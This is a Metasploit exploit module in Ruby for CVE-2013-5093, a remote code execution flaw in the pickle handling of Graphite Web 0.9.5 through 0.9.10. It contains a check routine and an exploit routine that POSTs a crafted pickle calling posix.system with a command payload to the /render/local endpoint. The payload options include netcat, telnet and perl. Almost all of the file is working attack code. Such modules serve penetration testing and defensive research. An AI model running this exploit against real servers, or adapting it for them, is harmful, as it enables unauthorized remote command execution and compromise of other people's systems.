81 lines
2.2 KiB
Ruby
81 lines
2.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Graphite Web Unsafe Pickle Handling',
|
|
'Description' => %q{
|
|
This module exploits a remote code execution vulnerability in the pickle
|
|
handling of the rendering code in the Graphite Web project between version
|
|
0.9.5 and 0.9.10 (both included).
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Charlie Eriksen' # Initial discovery and exploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-5093'],
|
|
[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
|
|
],
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => false,
|
|
'Targets' => [ ['Automatic', {} ] ],
|
|
'DisclosureDate' => 'Aug 20 2013',
|
|
'DefaultTarget' => 0,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 16384,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'python generic telnet netcat perl ruby'
|
|
}
|
|
}))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def check
|
|
response = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
|
|
'method' => 'POST'
|
|
})
|
|
|
|
if response and response.code == 500
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
|
|
|
|
print_status("Sending exploit payload...")
|
|
|
|
response = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
|
|
'method' => 'POST',
|
|
'data' => data
|
|
})
|
|
end
|
|
end
|